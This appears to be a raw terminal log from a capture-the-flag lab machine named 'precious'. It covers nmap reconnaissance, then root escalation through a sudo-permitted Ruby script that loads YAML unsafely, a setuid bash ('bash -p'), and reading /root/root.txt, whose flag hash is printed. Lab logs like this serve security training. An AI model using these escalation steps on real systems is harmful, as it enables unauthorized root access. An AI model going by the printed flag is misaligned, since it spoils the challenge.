C:\Users\admin>nmap 10.10.11.189 Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-13 14:11 中国标准时间 Nmap scan report for 10.10.11.189 Host is up (0.33s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds
C:\Users\admin>nmap -p22,80 -sC -sV -A 10.10.11.189 Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-13 14:12 中国标准时间 NSOCK ERROR [0.5620s] ssl_init_helper(): OpenSSL legacy provider failed to load.
Nmap scan report for 10.10.11.189 Host is up (0.28s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 845e13a8e31e20661d235550f63047d2 (RSA) | 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA) |_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://precious.htb/ |_http-server-header: nginx/1.18.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.3 - 5.4 (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 324.00 ms 10.10.14.1 2 323.00 ms 10.10.11.189
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 49.64 seconds
gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end
User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb sh: 1: reading: not found Traceback (most recent call last): 33: from /opt/update_dependencies.rb:17:in `<main>' 32: from /opt/update_dependencies.rb:10:in `list_from_file' 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load' 30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby' 29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document' 25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence' 21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty' 20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each' 19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty' 18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping' 14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive' 13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with' 12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with' 11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize' 10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements' 9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each' 8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from' 7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read' 6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG' 5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write' 3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve' 2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write' /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError) henry@precious:~$ ls /bin/bash /bin/bash henry@precious:~$ ls /bin/bash -al -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash henry@precious:~$ bash -p bash-5.1# whoami root bash-5.1# cat /root/root.txt aaaa792b85c67a8124a1cde1e91395a7 bash-5.1#